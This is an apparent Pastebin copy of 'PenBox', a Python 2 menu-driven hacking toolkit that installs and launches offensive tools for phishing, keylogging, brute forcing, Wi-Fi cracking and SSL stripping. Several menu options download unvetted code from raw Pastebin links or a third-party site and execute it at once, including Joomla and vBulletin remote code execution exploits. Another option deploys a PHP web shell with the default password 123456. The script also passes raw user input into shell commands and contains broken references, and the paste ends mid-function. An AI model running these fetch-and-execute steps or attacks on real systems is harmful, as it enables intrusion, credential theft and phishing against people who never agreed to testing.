Guest User

Untitled

a guest
Mar 29th, 2017
747
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 61.69 KB | None | 0 0
  1. #!/usr/bin/env python2.7
  2. #
  3. # All In One Tool For Penetration Testing
  4. # Authors : Mohamed Nour , Fedy Wesleti
  5.  
  6. import sys
  7. import argparse
  8. import os
  9. import time
  10. import httplib
  11. import subprocess
  12. import re, urllib2
  13. import socket
  14. import urllib,sys,json
  15. import telnetlib
  16. import glob
  17. import random
  18. import Queue
  19. import threading
  20. import requests
  21. import base64
  22. from getpass import getpass
  23. from commands import *
  24. from sys import argv
  25. from platform import system
  26. from urlparse import urlparse
  27. from xml.dom import minidom
  28. from optparse import OptionParser
  29. from time import sleep
  30. ##########################
  31. #Variables
  32. directories = ['/uploads/','/upload/','/files/','/resume/','/resumes/','/documents/','/docs/','/pictures/','/file/','/Upload/','/Uploads/','/Resume/','/Resume/','/UsersFiles/','/Usersiles/','/usersFiles/','/Users_Files/','/UploadedFiles/','/Uploaded_Files/','/uploadedfiles/','/uploadedFiles/','/hpage/','/admin/upload/','/admin/uploads/','/admin/resume/','/admin/resumes/','/admin/pictures/','/pics/','/photos/','/Alumni_Photos/','/alumni_photos/','/AlumniPhotos/','/users/']
  33. shells = ['wso.php','shell.php','an.php','hacker.php','lol.php','up.php','cp.php','upload.php','sh.php','pk.php','mad.php','x00x.php','worm.php','1337worm.php','config.php','x.php','haha.php']
  34. upload = []
  35. yes = set(['yes','y', 'ye', 'Y'])
  36. no = set(['no','n'])
  37. ditect= ['13', '14', '15', '16', '17', '18', '19', '20', '21']
  38. heathenchoice= ['4', '5', '6', '7', '8', '9', '10', '11', '12', '13']
  39. G = '\033[92m' #green
  40. Y = '\033[93m' #yellow
  41. B = '\033[94m' #blue
  42. R = '\033[91m' #red
  43. W = '\033[0m' #white
  44. ##########################
  45. #end of varialbles
  46. def logo():
  47. print ("""%s
  48. _______ _______ _ ______ _______
  49. ( ____ )( ____ \( ( /|( ___ \ ( ___ )|\ /|
  50. | ( )|| ( \/| \ ( || ( ) )| ( ) |( \ / )
  51. | (____)|| (__ | \ | || (__/ / | | | | \ (_) /
  52. | _____)| __) | (\ \) || __ ( | | | | ) _ (
  53. | ( | ( | | \ || ( \ \ | | | | / ( ) \
  54. | ) | (____/\| ) \ || )___) )| (___) |( / \ )
  55. |/ (_______/|/ )_)|/ \___/ (_______)|/ \| %s{v3.2}
  56. %sThe Hacker's Repo
  57.  
  58. %s
  59. [+] Coded BY %sFedy Wesleti %s& %sMohamed Nour %s[+]
  60. [-] Facebook.com/%sPenBox.Framework %s [-]
  61. [-] Greetz To All Pentesters [-]
  62. """)%(G,R,B,G,Y,G,Y,G,R,G)
  63. def menu():
  64. print ("""
  65.  
  66. %s
  67. _______ _______ _ ______ _______
  68. ( ____ )( ____ \( ( /|( ___ \ ( ___ )|\ /|
  69. | ( )|| ( \/| \ ( || ( ) )| ( ) |( \ / )
  70. | (____)|| (__ | \ | || (__/ / | | | | \ (_) /
  71. | _____)| __) | (\ \) || __ ( | | | | ) _ (
  72. | ( | ( | | \ || ( \ \ | | | | / ( ) \
  73. | ) | (____/\| ) \ || )___) )| (___) |( / \ )
  74. |/ (_______/|/ )_)|/ \___/ (_______)|/ \| %s{v3.2}
  75. %sThe Hacker's Repo
  76.  
  77. %s
  78. [+] Coded BY %sFedy Wesleti %s& %sMohamed Nour %s[+]
  79. [-] Facebook.com/%sPenBox.Framework %s [-]
  80. [-] Greetz To All Pentesters [-]
  81.  
  82. Select from the menu:
  83.  
  84. 1 : Information Gathering
  85. 2 : Password Attacks
  86. 3 : Wireless Testing
  87. 4 : Exploitation Tools
  88. 5 : Sniffing & Spoofing
  89. 6 : Web Hacking
  90. 7 : Private Tools
  91. 8 : Post Exploitation
  92. 9 : Recon
  93. 10: Smartphones Penetration
  94. 11: Others
  95. 99: Exit
  96.  
  97. """)%(G,R,B,G,Y,G,Y,G,R,G)
  98. choice = raw_input("Enter Your Choice: ")
  99.  
  100. if choice == "1":
  101. info()
  102. elif choice == "2":
  103. passwd()
  104. elif choice == "3":
  105. wire()
  106. elif choice == "4":
  107. exp()
  108. elif choice == "5":
  109. snif()
  110. elif choice == "6":
  111. webhack()
  112. elif choice == "7":
  113. tnn()
  114. elif choice == "8":
  115. postexp()
  116. elif choice == "9":
  117. sniper()
  118. elif choice == "10":
  119. phones()
  120. elif choice == "11":
  121. others()
  122. elif choice == "99":
  123. sys.exit();
  124. elif choice == "":
  125. menu()
  126. else:
  127. menu()
  128. def sniper():
  129. print ("This tool is only available for Linux / OSX or similar systems ")
  130. choicesniper = raw_input("Continue Y / N: ")
  131. if choicesniper in yes:
  132. os.system ("git clone https://github.com/1N3/Sn1per.git")
  133. os.system ("cd Sn1per && sudo bash ./install.sh")
  134. os.system ("sniper")
  135. elif choicesniper == "":
  136. menu()
  137. def others():
  138. print("""
  139. 1) QrlJacking-Framework
  140. 2)Sniffles - Packet Capture Generator for IDS and Regular Expression Evaluation
  141. 99)
  142. """)
  143. otherc = raw_input("choose an option : ")
  144. if otherc =="1":
  145. qrljack()
  146. elif otherc =="2":
  147. sniffles()
  148. elif otherc =="99":
  149. menu()
  150. else:
  151. menu()
  152. def sniffles():
  153. print("Sniffles is a tool for creating packet captures that will test IDS that use fixed patterns or regular expressions for detecting suspicious behavior")
  154. print("this tool requires python3.X")
  155. os.system("git clone https://github.com/petabi/sniffles && cd sniffles && python3 setup.py")
  156. print("if this tool is not properly installed , run : cd sniffles && python3.X setup.py or contact me fb.com/ceh.tn")
  157. def qrljack():
  158. os.system("git clone https://github.com/OWASP/QRLJacking qrl && cd qrl && cd cd QrlJacking-Framework && pip install -r requirements.txt && python QRLJacker.py ")
  159. def smartphones():
  160. print("""
  161. 1 : APK Application scanning
  162. 2 : Smartphones scanning
  163. 99:
  164. """)
  165. spc = raw_input("Select an option : ")
  166. if spc =="1":
  167. droidhunter()
  168. if spc =="2":
  169. phones()
  170. if spc=="99":
  171. menu()
  172. else:
  173. menu()
  174. def droidhunter():
  175. print ("Droid-Hunter - Android Application Vulnerability Analysis And Android Pentest Tool")
  176. print ("Do You To Install Droid-Hunter ?")
  177. choicedh = raw_input("Y/N: ")
  178. if choicedh in yes:
  179. os.system("git clone https://github.com/hahwul/droid-hunter.git && cd droid-hunter && sudo gem install html-table && gem install colorize && ruby dhunter.rb")
  180. elif choicedh in no:
  181. os.system('clear'); menu()
  182. def phones():
  183. phoneslist = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10']
  184. logo()
  185. print("""
  186. 1 : Attach Framework to a Deployed Agent/Create Agent"
  187. 2 : Send Commands to an Agent"
  188. 3 : View Information Gathered"
  189. 4 : Attach Framework to a Mobile Modem"
  190. 5 : Run a remote attack"
  191. 6 : Run a social engineering or client side attack"
  192. 7 : Compile code to run on mobile devices"
  193. 8 : Install Stuff"
  194. 9 : Use Drozer"
  195. 10: Setup API"
  196. 11: Bruteforce the Android Passcode given the hash and salt")
  197. 99: Exit""")
  198. choicespf = raw_input("Select an option : ")
  199. if choicespf in phoneslist:
  200. oschoice = raw_input("""This option will install Smartphone Pentest Framework for you , you will have to configure and run on your own
  201. 1)OSX
  202. 2)Kali Linux
  203. 3)BackTrack
  204. Select Your OS : """)
  205. if oschoice =="1":
  206. os.system("git clone https://github.com/georgiaw/Smartphone-Pentest-Framework.git spf && cd spf && bash osxinstall.sh")
  207. if oschoice =="2":
  208. os.system("git clone https://github.com/georgiaw/Smartphone-Pentest-Framework.git spf && cd spf && bash kaliinstall ")
  209. if oschoice =="3":
  210. os.system("git clone https://github.com/georgiaw/Smartphone-Pentest-Framework.git spf && cd spf && bash btinstall")
  211. elif choice5 =="11":
  212. androidhash()
  213. else:
  214. menu()
  215. def doork():
  216. print("doork is a open-source passive vulnerability auditor tool that automates the process of searching on Google information about specific website based on dorks. ")
  217. doorkchice = raw_input("Continue Y / N: ")
  218. if doorkchice in yes:
  219. os.system("pip install beautifulsoup4 && pip install requests")
  220. os.system("git clone https://github.com/AeonDave/doork")
  221. clearScr()
  222. doorkt = raw_input("Target : ")
  223. os.system("cd doork && python doork.py -t %s -o log.log"%doorkt)
  224. def postexp():
  225. clearScr()
  226. print("1 : Shell Checker")
  227. print("2 : POET")
  228. print("3 : Weeman - Phishing Framework")
  229. print("4 : Insecure Web Interface")
  230. print("5 : Insufficient Authentication/Authorization")
  231. print("6 : Insecure Network Services")
  232. print("7 : Lack of Transport Encryption")
  233. print("8 : Privacy Concerns")
  234. print("9 : Insecure Cloud Interface")
  235. print("10: Insecure Mobile Interface")
  236. print("11: Insufficient Security Configurability")
  237. print("12: Insecure Software/Firmware")
  238. print("13: Poor Physical Security")
  239. print("14: Tinyshell : python Client with php shell")
  240. print("15: Radium-Keylogger - Python keylogger with multiple features ")
  241. print("99: Go Back ")
  242. choice11 = raw_input("Enter Your Choice:")
  243. if choice11 == "1":
  244. sitechecker()
  245. if choice11 == "2":
  246. poet()
  247. if choice11 == "3":
  248. weeman()
  249. if choice11 in heathenchoice:
  250. print("This Tool Will Work only on kali linux ")
  251. hchoice = raw_input("Continue ? Y / N : ")
  252. if hchoice in yes:
  253. os.system("git clone https://github.com/chihebchebbi/Internet-Of-Things-Pentesting-Framework.git heathen && cd heathen && bash Heathen.sh ")
  254. else :
  255. postexp()
  256. if choice11 == "14":
  257. tinyshell()
  258. if choice11 =="15":
  259. radium()
  260. elif choice11 == "99":
  261. menu()
  262. def radium():
  263. print("This step will only download Radium-Keylogger for you , it will not install it ")
  264. print("to install , cd Radium-Keylogger and see Requirements.txt first ")
  265. os.system("git clone https://github.com/mehulj94/Radium-Keylogger")
  266. def tinyshell():
  267. print("This tool will create a php payload , that will let you remote access the webserver using python ")
  268. ctiny = raw_input("continue ? y/n : ")
  269. if ctiny in yes:
  270. os.system("git clone https://github.com/lawrenceamer/tinyshell.git")
  271. print("you will find the php payload in /tinyshell/shell.php with the default password : 123456 , insert it in a php script and connect")
  272. explurl = raw_input("Target link with php file : ")
  273. os.system("cd tinyshell && python remote_shell.py %s 123456"%explurl)
  274. elif ctiny in no:
  275. menu()
  276. def scanusers():
  277. site = raw_input('Enter a website : ')
  278. try:
  279. users = site
  280. if 'http://www.' in users:
  281. users = users.replace('http://www.', '')
  282. if 'http://' in users:
  283. users = users.replace('http://', '')
  284. if '.' in users:
  285. users = users.replace('.', '')
  286. if '-' in users:
  287. users = users.replace('-', '')
  288. if '/' in users:
  289. users = users.replace('/', '')
  290. while len(users) > 2:
  291. print users
  292. resp = urllib2.urlopen(site + '/cgi-sys/guestbook.cgi?user=%s' % users).read()
  293. # i can use regular expression too
  294. if 'invalid username' not in resp.lower():
  295. print "\tFound -> %s" %users
  296. pass
  297.  
  298. users = users[:-1]
  299. except:
  300. pass
  301. def brutex():
  302. clearScr()
  303. print("Automatically brute force all services running on a target : Open ports / DNS domains / Usernames / Passwords ")
  304. os.system("git clone https://github.com/1N3/BruteX.git")
  305. clearScr
  306. brutexchoice = raw_input("Select a Target : ")
  307. os.system("cd BruteX && chmod 777 brutex && ./brutex %s"%brutexchoice)
  308. def arachni():
  309. print("Arachni is a feature-full, modular, high-performance Ruby framework aimed towards helping penetration testers and administrators evaluate the security of web applications")
  310. cara = raw_input("Install And Run ? Y / N : ")
  311. clearScr
  312. print("exemple : http://www.target.com/")
  313. tara = raw_input("Select a target to scan : ")
  314. if cara in yes:
  315. os.system("git clone git://github.com/Arachni/arachni.git")
  316. os.system("cd arachni && sudo gem install bundler && bundle install --without prof && rake install")
  317. os.system("arachni")
  318. clearScr()
  319. os.system("cd arachni/bin && chmod 777 arachni && ./arachni %s"%tara)
  320. def xsstracer():
  321. clearScr()
  322. print("XSSTracer is a small python script that checks remote web servers for Clickjacking, Cross-Frame Scripting, Cross-Site Tracing and Host Header Injection.")
  323. os.system("git clone https://github.com/1N3/XSSTracer.git")
  324. clearScr ()
  325. xsstracerchoice = raw_input("Select a Target: ")
  326. os.system("cd XSSTracer && chmod 777 xsstracer.py && python xsstracer.py %s 80"%xsstracerchoice)
  327. def weeman():
  328. print("HTTP server for phishing in python. (and framework) Usually you will want to run Weeman with DNS spoof attack. (see dsniff, ettercap).")
  329. choicewee = raw_input("Install Weeman ? Y / N : ")
  330. if choicewee in yes:
  331. os.system("git clone https://github.com/Hypsurus/weeman.git && cd weeman && python weeman.py")
  332. if choicewee in no:
  333. menu()
  334. else:
  335. menu()
  336. def gabriel():
  337. print("Abusing authentication bypass of Open&Compact (Gabriel's)")
  338. os.system("wget http://pastebin.com/raw/Szg20yUh --output-document=gabriel.py")
  339. clearScr()
  340. os.system("python gabriel.py")
  341. ftpbypass=raw_input("Enter Target IP and Use Command :")
  342. os.system("python gabriel.py %s"%ftpbypass)
  343. def sitechecker():
  344. os.system("wget http://pastebin.com/raw/Y0cqkjrj --output-document=ch01.py")
  345. clearScr()
  346. os.system("python ch01.py")
  347. def h2ip():
  348. host = raw_input("Select A Host : ")
  349. ips = socket.gethostbyname(host)
  350. print(ips)
  351. def ports():
  352. clearScr()
  353. target = raw_input('Select a Target IP :')
  354. os.system("nmap -O -Pn %s" % target)
  355. sys.exit();
  356. def ifinurl():
  357. print""" This Advanced search in search engines, enables analysis provided to exploit GET / POST capturing emails & urls, with an internal custom validation junction for each target / url found."""
  358. print('Do You Want To Install InurlBR ? ')
  359. cinurl = raw_input("Y/N: ")
  360. if cinurl in yes:
  361. inurl()
  362. if cinurl in no:
  363. menu()
  364. elif cinurl == "":
  365. menu()
  366. else:
  367. menu()
  368. def bsqlbf():
  369. clearScr()
  370. print("This tool will only work on blind sql injection")
  371. cbsq=raw_input("select target : ")
  372. os.system("wget https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/bsqlbf-v2/bsqlbf-v2-7.pl -o bsqlbf.pl")
  373. os.system("perl bsqlbf.pl -url %s"%cbsq)
  374. os.system("rm bsqlbf.pl")
  375. def venom():
  376. print ("Venom Automatic Shellcode Generator")
  377. print ("Do You To Install ?")
  378. choiceshell = raw_input("Y/N: ")
  379. if choiceshell in yes:
  380. os.system("wget http://fsociety.tn/venom.zip --output-document=venom.zip")
  381. os.system("unzip venom.zip -d venom")
  382. os.system("cd venom && sh venom.sh")
  383. elif choiceshell in no:
  384. os.system('clear'); info()
  385. def commix():
  386. print ("Automated All-in-One OS Command Injection and Exploitation Tool.")
  387. print ("usage : python commix.py --help")
  388. choicecmx = raw_input("Continue: y/n :")
  389. if choicecmx in yes:
  390. os.system("git clone https://github.com/stasinopoulos/commix.git commix")
  391. os.system("cd commix")
  392. os.system("python commix.py")
  393. os.system("")
  394. elif choicecmx in no:
  395. os.system('clear'); info()
  396. def pixiewps():
  397. print"""Pixiewps is a tool written in C used to bruteforce offline the WPS pin exploiting the low or non-existing entropy of some Access Points, the so-called "pixie dust attack" discovered by Dominique Bongard in summer 2014. It is meant for educational purposes only
  398. """
  399. choicewps = raw_input("Continue ? Y/N : ")
  400. if choicewps in yes :
  401. os.system("git clone https://github.com/wiire/pixiewps.git")
  402. os.system(" cd pixiewps/src & make ")
  403. os.system(" cd pixiewps/src & sudo make install")
  404. if choicewps in no :
  405. menu()
  406. elif choicewps == "":
  407. menu()
  408. else:
  409. menu()
  410. def webhack():
  411. print("1 : Drupal Hacking ")
  412. print("2 : Inurlbr")
  413. print("3 : Wordpress & Joomla Scanner")
  414. print("4 : Gravity Form Scanner")
  415. print("5 : File Upload Checker")
  416. print("6 : Wordpress Exploit Scanner")
  417. print("7 : Wordpress Plugins Scanner")
  418. print("8 : Shell and Directory Finder")
  419. print("9 : Joomla! 1.5 - 3.4.5 remote code execution")
  420. print("10: Vbulletin 5.X remote code execution")
  421. print("11: BruteX - Automatically brute force all services running on a target")
  422. print("12: Arachni - Web Application Security Scanner Framework")
  423. print("13: Sub-domain Scanning")
  424. print("14: Wordpress Scanning")
  425. print("15: Wordpress Username Enumeration")
  426. print("16: Wordpress Backup Grabbing")
  427. print("17: Sensitive File Detection")
  428. print("18: Same-Site Scripting Scanning")
  429. print("19: Click Jacking Detection")
  430. print("20: Powerful XSS vulnerability scanning")
  431. print("21: SQL Injection vulnerability scanning")
  432. print("99: Go Back")
  433. choiceweb = raw_input("Enter Your Choice : ")
  434. if choiceweb == "1":
  435. clearScr()
  436. maine()
  437. if choiceweb == "2":
  438. clearScr(); ifinurl()
  439. if choiceweb =='3':
  440. clearScr(); wppjmla()
  441. if choiceweb =="4":
  442. clearScr(); gravity()
  443. if choiceweb =="5":
  444. clearScr(); sqlscan()
  445. if choiceweb =="6":
  446. clearScr(); wpminiscanner()
  447. if choiceweb =="7":
  448. clearScr();wppluginscan()
  449. if choiceweb =="8":
  450. clearScr();shelltarget()
  451. if choiceweb =="9":
  452. clearScr();joomlarce()
  453. if choiceweb =="10":
  454. clearScr();vbulletinrce()
  455. if choiceweb =="11":
  456. clearScr();brutex()
  457. if choiceweb=="12":
  458. clearScr();arachni()
  459. if choiceweb in ditect:
  460. dtect()
  461. elif choiceweb =="99":
  462. menu()
  463. elif choiceweb == "":
  464. menu()
  465. else:
  466. menu()
  467. def vbulletinrce():
  468. os.system("wget http://pastebin.com/raw/eRSkgnZk --output-document=tmp.pl")
  469. os.system("perl tmp.pl")
  470. def joomlarce():
  471. os.system("wget http://pastebin.com/raw/EX7Gcbxk --output-document=temp.py")
  472. clearScr();print("if the response is 200 , you will find your shell in Joomla_3.5_Shell.txt")
  473. jmtarget=raw_input("Select a targets list :")
  474. os.system("python temp.py %s"%jmtarget)
  475. def inurl():
  476. dork = raw_input("select a Dork:")
  477. output = raw_input("select a file to save :")
  478. os.system("./inurlbr.php --dork '{0}' -s {1}.txt -q 1,6 -t 1".format(dork, output))
  479. if cinurl in no:
  480. insinurl()
  481. elif cinurl == "":
  482. menu()
  483. else:
  484. menu()
  485. def insinurl():
  486. os.system("git clone https://github.com/googleinurl/SCANNER-INURLBR.git")
  487. os.system("chmod +x SCANNER-INURLBR/inurlbr.php")
  488. os.system("apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl")
  489. os.system("mv /SCANNER-INURLBR/inurbr.php inurlbr.php")
  490. clearScr()
  491. inurl()
  492. def dtect():
  493. print("This will install and run D-TECT Penetration testing framework")
  494. cdtect=raw_input("Continue ? Y/N : ")
  495. if cdtect in yes:
  496. os.system("git clone https://github.com/shawarkhanethicalhacker/D-TECT.git && cd D-TECT && python d-tect.py")
  497. else :
  498. menu()
  499. def nmap():
  500.  
  501. choice7 = raw_input("continue ? Y / N : ")
  502. if choice7 in yes :
  503. os.system("wget https://nmap.org/dist/nmap-7.01.tar.bz2")
  504. os.system("bzip2 -cd nmap-7.01.tar.bz2 | tar xvf -")
  505. os.system("cd nmap-7.01 & ./configure")
  506. os.system("cd nmap-7.01 & make")
  507. os.system("su root")
  508. os.system("cd nmap-7.01 & make install")
  509. elif choice7 in no :
  510. info()
  511. elif choice7 == "":
  512. menu()
  513. else:
  514. menu()
  515. def jboss():
  516. os.system('clear')
  517. print ("This JBoss script deploys a JSP shell on the target JBoss AS server. Once")
  518. print ("deployed, the script uses its upload and command execution capability to")
  519. print ("provide an interactive session.")
  520. print ("")
  521. print ("usage : ./e.sh target_ip tcp_port ")
  522. print("Continue: y/n")
  523. choice9 = raw_input("yes / no :")
  524. if choice9 in yes:
  525. os.system("git clone https://github.com/SpiderLabs/jboss-autopwn.git"),sys.exit();
  526. elif choice9 in no:
  527. os.system('clear'); exp()
  528. elif choice9 == "":
  529. menu()
  530. else:
  531. menu()
  532. def wppluginscan():
  533. Notfound = [404,401,400,403,406,301]
  534. sitesfile = raw_input("sites file : ")
  535. filepath = raw_input("Plugins File : ")
  536. def scan(site, dir):
  537. global resp
  538. try:
  539. conn = httplib.HTTPConnection(site)
  540. conn.request('HEAD', "/wp-content/plugins/" + dir)
  541. resp = conn.getresponse().status
  542. except(), message:
  543. print "Cant Connect :",message
  544. pass
  545. def timer():
  546. now = time.localtime(time.time())
  547. return time.asctime(now)
  548. def main():
  549. sites = open(sitesfile).readlines()
  550. plugins = open(filepath).readlines()
  551. for site in sites:
  552. site = site.rstrip()
  553. for plugin in plugins:
  554. plugin = plugin.rstrip()
  555. scan(site,plugin)
  556. if resp not in Notfound:
  557. print "+----------------------------------------+"
  558. print "| current site :" + site
  559. print "| Found Plugin : " + plugin
  560. print "| Result:",resp
  561. def sqlmap():
  562. print ("usage : python sqlmap.py -h")
  563. choice8 = raw_input("Continue: y/n :")
  564. if choice8 in yes:
  565. os.system("git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev & ")
  566. elif choice8 in no:
  567. os.system('clear'); info()
  568. elif choice8 == "":
  569. menu()
  570. else:
  571. menu()
  572. def grabuploadedlink(url):
  573. try :
  574. for dir in directories :
  575. currentcode = urllib.urlopen(url + dir).getcode()
  576. if currentcode == 200 or currentcode == 403:
  577. print "-------------------------"
  578. print " [ + ] Found Directory : " + str(url + dir) + " [ + ]"
  579. print "-------------------------"
  580. upload.append(url + dir)
  581. except :
  582. pass
  583. def grabshell(url) :
  584. try :
  585. for upl in upload :
  586. for shell in shells :
  587. currentcode = urllib.urlopen(upl + shell).getcode()
  588. if currentcode == 200 :
  589. print "-------------------------"
  590. print " [ ! ] Found Shell : " + str(upl + shell) + " [ ! ]"
  591. print "-------------------------"
  592. except :
  593. pass
  594. def shelltarget():
  595. print("exemple : http://target.com")
  596. line = raw_input("target : ")
  597. line = line.rstrip()
  598. grabuploadedlink(line)
  599. grabshell(line)
  600. def poet():
  601. print("POET is a simple POst-Exploitation Tool.")
  602. print("")
  603. choicepoet = raw_input("y / n :")
  604. if choicepoet in yes:
  605. os.system("git clone https://github.com/mossberg/poet.git")
  606. os.system("python poet/server.py")
  607. if choicepoet in no:
  608. clearScr(); postexp()
  609. elif choicepoet == "":
  610. menu()
  611. else:
  612. menu()
  613. def setoolkit():
  614. print ("The Social-Engineer Toolkit is an open-source penetration testing framework")
  615. print(") designed for social engineering. SET has a number of custom attack vectors that ")
  616. print(" allow you to make a believable attack quickly. SET is a product of TrustedSec, LLC ")
  617. print("an information security consulting firm located in Cleveland, Ohio.")
  618. print("")
  619. choiceset = raw_input("y / n :")
  620. if choiceset in yes:
  621. os.system("git clone https://github.com/trustedsec/social-engineer-toolkit.git")
  622. os.system("python social-engineer-toolkit/setup.py")
  623. if choiceset in no:
  624. clearScr(); info()
  625. elif choiceset == "":
  626. menu()
  627. else:
  628. menu()
  629. def cupp():
  630. print("cupp is a password list generator ")
  631. print("Usage: python cupp.py -h")
  632. choicecupp = raw_input("Continue: y/n : ")
  633.  
  634. if choicecupp in yes:
  635. os.system("git clone https://github.com/Mebus/cupp.git")
  636. print("file downloaded successfully")
  637. elif choicecupp in no:
  638. clearScr(); passwd()
  639. elif choicecupp == "":
  640. menu()
  641. else:
  642. menu()
  643. def ncrack():
  644. print("A Ruby interface to Ncrack, Network authentication cracking tool.")
  645. print("requires : nmap >= 0.3ALPHA / rprogram ~> 0.3")
  646. print("Continue: y/n")
  647. choicencrack = raw_input("y / n :")
  648. if choicencrack in yes:
  649. os.system("git clone https://github.com/sophsec/ruby-ncrack.git")
  650. os.system("cd ruby-ncrack")
  651. os.system("install ruby-ncrack")
  652. elif choicencrack in no:
  653. clearScr(); passwd()
  654. elif choicencrack == "":
  655. menu()
  656. else:
  657. menu()
  658. def reaver():
  659. print """
  660. Reaver has been designed to be a robust and practical attack against Wi-Fi Protected Setup
  661. WPS registrar PINs in order to recover WPA/WPA2 passphrases. It has been tested against a
  662. wide variety of access points and WPS implementations
  663. 1 to accept / 0 to decline
  664. """
  665. creaver = raw_input("y / n :")
  666. if creaver in yes:
  667. os.system("apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng pixiewps")
  668. os.system("git clone https://github.com/t6x/reaver-wps-fork-t6x.git")
  669. os.system("cd reaver-wps-fork-t6x/src/ & ./configure")
  670. os.system("cd reaver-wps-fork-t6x/src/ & make")
  671. elif creaver in no:
  672. clearScr(); wire()
  673. elif creaver == "":
  674. menu()
  675. else:
  676. menu()
  677. def ssls():
  678. print"""sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping
  679. attacks.
  680. It requires Python 2.5 or newer, along with the 'twisted' python module."""
  681. cssl = raw_input("y / n :")
  682. if cssl in yes:
  683. os.system("git clone https://github.com/moxie0/sslstrip.git")
  684. os.system("sudo apt-get install python-twisted-web")
  685. os.system("python sslstrip/setup.py")
  686. if cssl in no:
  687. snif()
  688. elif cssl =="":
  689. menu()
  690. else:
  691. menu()
  692. def unique(seq):
  693. seen = set()
  694. return [seen.add(x) or x for x in seq if x not in seen]
  695. def bing_all_grabber(s):
  696.  
  697. lista = []
  698. page = 1
  699. while page <= 101:
  700. try:
  701. bing = "http://www.bing.com/search?q=ip%3A" + s + "+&count=50&first=" + str(page)
  702. openbing = urllib2.urlopen(bing)
  703. readbing = openbing.read()
  704. findwebs = re.findall('<h2><a href="(.*?)"', readbing)
  705. for i in range(len(findwebs)):
  706. allnoclean = findwebs[i]
  707. findall1 = re.findall('http://(.*?)/', allnoclean)
  708. for idx, item in enumerate(findall1):
  709. if 'www' not in item:
  710. findall1[idx] = 'http://www.' + item + '/'
  711. else:
  712. findall1[idx] = 'http://' + item + '/'
  713. lista.extend(findall1)
  714.  
  715. page += 50
  716. except urllib2.URLError:
  717. pass
  718.  
  719. final = unique(lista)
  720. return final
  721. def check_gravityforms(sites) :
  722. import urllib
  723. gravityforms = []
  724. for site in sites :
  725. try :
  726. if urllib.urlopen(site+'wp-content/plugins/gravityforms/gravityforms.php').getcode() == 403 :
  727. gravityforms.append(site)
  728. except :
  729. pass
  730.  
  731. return gravityforms
  732. def gravity():
  733. ip = raw_input('Enter IP : ')
  734. sites = bing_all_grabber(str(ip))
  735. gravityforms = check_gravityforms(sites)
  736. for ss in gravityforms :
  737. print ss
  738.  
  739. print '\n'
  740. print '[*] Found, ', len(gravityforms), ' gravityforms.'
  741. def shellnoob():
  742. print """Writing shellcodes has always been super fun, but some parts are extremely boring and error prone. Focus only on the fun part, and use ShellNoob!"""
  743. cshell = raw_input("Y / N : ")
  744. if cshell in yes:
  745. os.system("git clone https://github.com/reyammer/shellnoob.git")
  746. os.system("mv shellnoob/shellnoob.py shellnoob.py")
  747. os.system("sudo python shellnoob.py --install")
  748. if cshell in no:
  749. exp()
  750. elif cshell =="":
  751. menu()
  752. else:
  753. menu()
  754. def info():
  755. print("1 : NMAP ")
  756. print("2 : Setoolkit")
  757. print("3 : Port Scanning")
  758. print("4 : Host To IP")
  759. print("5 : WP User Enumeration")
  760. print("6 : CMS scanner")
  761. print("7 : XSStracer ")
  762. print("8 : Doork")
  763. print("9 : Server Users")
  764. print("99: Go Back")
  765. choice2 = raw_input("Enter Your Choice: ")
  766. if choice2 == "1":
  767. os.system('clear'); nmap()
  768. if choice2 == "2":
  769. clearScr(); setoolkit()
  770. if choice2 == "3":
  771. clearScr(); ports()
  772. if choice2 == "4":
  773. clearScr(); h2ip()
  774. if choice2 == "5":
  775. clearScr(); wpue()
  776. if choice2 == "6":
  777. clearScr(); cmsscan()
  778. if choice2 == "7":
  779. clearScr(); xsstracer()
  780. if choice2 == "8":
  781. clearScr();doork()
  782. elif choice2 =="99":
  783. clearScr(); menu()
  784. if choice2 == "9":
  785. clearScr();scanusers()
  786. elif choice2 == "":
  787. menu()
  788. else:
  789. menu()
  790. def cmsscan():
  791. os.system("git clone https://github.com/Dionach/CMSmap.git")
  792. clearScr();
  793. xz=raw_input("select target : ")
  794. os.system("cd CMSmap @@ sudo cmsmap.py %s"%xz)
  795. def wpue():
  796. os.system("git clone https://github.com/wpscanteam/wpscan.git")
  797. clearScr();
  798. xe=raw_input("Select a Wordpress target : ")
  799. os.system("cd wpscan && sudo ruby wpscan.rb --url %s --enumerate u"%xe)
  800. def priv8():
  801. tnn()
  802. def androidhash():
  803. key=raw_input("Enter the android hash : ")
  804. salt=raw_input("Enter the android salt : ")
  805. os.system("git clone https://github.com/PentesterES/AndroidPINCrack.git")
  806. os.system("cd AndroidPINCrack && python AndroidPINCrack.py -H %s -s %s"% (key, salt))
  807. def passwd():
  808. print("1: Cupp ")
  809. print("2: Ncrack")
  810. print("3: AutoBrowser Screenshot")
  811. print("99: Back To Main Menu")
  812. choice3 = raw_input("Select from the menu:")
  813. if choice3 =="1":
  814. clearScr(); cupp()
  815. elif choice3 =="2":
  816. clearScr(); ncrack()
  817. elif choice3 =="3":
  818. autobrowser()
  819. elif choice3 =="99":
  820. clearScr(); menu()
  821. elif choice3 == "":
  822. menu()
  823. elif choice3 == "3":
  824. fb()
  825. else:
  826. menu()
  827. def autobrowser():
  828. os.system("git clone https://github.com/El3ct71k/AutoBrowser && cd AutoBrowser && pip install -r requirements")
  829. print("to execute: cd AutoBrowser && python AutoBrowser.py")
  830. def bluepot():
  831. print("you need to have at least 1 bluetooh receiver (if you have many it will work wiht those, too). You must install / libbluetooth-dev on Ubuntu / bluez-libs-devel on Fedora/bluez-devel on openSUSE ")
  832. choice = raw_input("Continue ? Y / N : ")
  833. if choice in yes:
  834. os.system("wget https://github.com/andrewmichaelsmith/bluepot/raw/master/bin/bluepot-0.1.tar.gz && tar xfz bluepot-0.1.tar.gz && sudo java -jar bluepot/BluePot-0.1.jar")
  835. else :
  836. menu()
  837. def fluxion():
  838. print("Fluxion is a remake of linset by vk496 with less bugs and more features. It's compatible with the latest release of Kali (Rolling). Latest builds (stable) and (beta) HERE . If you new, please start reading the wiki")
  839. print("Requirements : A linux operating system. We recommend Kali Linux 2 or Kali 2016.1 rolling. Kali 2 & 2016 support the latest aircrack-ng versions. A external wifi card is recommended. ")
